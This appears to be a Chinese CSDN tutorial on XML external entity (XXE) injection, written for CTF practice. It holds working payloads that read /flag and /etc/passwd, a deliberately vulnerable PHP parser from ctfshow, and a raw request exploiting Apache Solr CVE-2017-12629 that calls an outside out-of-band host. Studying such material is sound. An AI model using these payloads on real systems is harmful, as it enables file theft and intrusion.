XXE

文章详细介绍了XXE漏洞,即XML外部实体注入,包括XML的基础知识,如XML结构和实体类型,特别是外部实体。文中通过实例展示了如何利用XXE读取本地文件,以及在不同场景下的利用方法,如CTF挑战和ApacheSolr的CVE-2017-12629漏洞利用。
摘要由CSDN通过智能技术生成

https://xz.aliyun.com/t/3357

XXE

XXE(XML External Entity Injection) 全称为 XML 外部实体注入,从名字就能看出来,这是一个注入漏洞,注入的是什么?XML外部实体。(看到这里肯定有人要说:你这不是在废话),固然,其实我这里废话只是想强调我们的利用点是 外部实体 ,也是提醒读者将注意力集中于外部实体中,而不要被 XML 中其他的一些名字相似的东西扰乱了思维(盯好外部实体就行了),如果能注入 外部实体并且成功解析的话,这就会大大拓宽我们 XML 注入的攻击面

XML基础

基础语法

<?xml version=’1.0’?>//声明XML解析器版本
<root>//根元素
<sub1>1</sub1>//子元素1
<sub2>2</sub2>//子元素2
</root>

XML中,标签名就是变量名,标签里面的数据就是变量的值在XML中某些单独字符,如' " < >都不允许直接出现在XML文档中

XML实体

XML的结构
XML由XML声明,DTD部分,XML部分三部分组成
DTD部分用来定义 XML 文档的合法构建模块XML的实体

实体类型声明引用范围
一般实体<!ENTITY 实体名称 "实体内容">&实体名称;一般实体可以在DTD中引用,可以在XML中引用,可以在声明前引用,还可以在实体声明内部引用。
参数实体<!ENTITY % 实体名称 "实体内容">%实体名称;参数实体必须定义在单独的DTD区域,这种实体相对灵活,这种功能在漏洞利用场景的外部实体注入(XXE)过程中非常有用

常用的两种实体

XXE的利用

读取文件

简单的读文件

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [
<!ENTITY file SYSTEM "file:///flag"> ]>
<creds>&file;</creds>

ctfshow web373

<?php
error_reporting(0);
libxml_disable_entity_loader(false);
$xmlfile = file_get_contents('php://input');
if(isset($xmlfile)){
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
    $creds = simplexml_import_dom($dom);
    $ctfshow = $creds->ctfshow;
    echo $ctfshow;
}
highlight_file(__FILE__);
非常基础的读文件

miniL 2023 fakeLogin

xxe读文件配合flask算Pin RCEimage
从登录包中可以看到,用户名和密码是以xml形式传递的,尝试了一下,不能引入外部实体,回显点在登陆失败的信息里面,

<!DOCTYPE user [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user><username>
&xxe;
</username><password>123456</password></user>

读取文件最后算Pin

Apache Solr XXE漏洞(CVE-2017-12629)

GET /solr/demo/select?q=%3C%3Fxml%20version%3D%221.0%22%20encoding%3D%22UTF-8%22%3F%3E%0A%3C!DOCTYPE%20root%20%5B%0A%3C!ENTITY%20%25%20remote%20SYSTEM%20%22https%3A%2F%2Fxxe.3rv9qscoh8nfzrgvtt0q8wti69c00p.oastify.com%2F%22%3E%0A%25remote%3B%5D%3E%0A%3Croot%2F%3E&wt=xml&defType=xmlparser HTTP/1.1
Host: 39.101.70.33:8983
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/106.0.5249.62 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值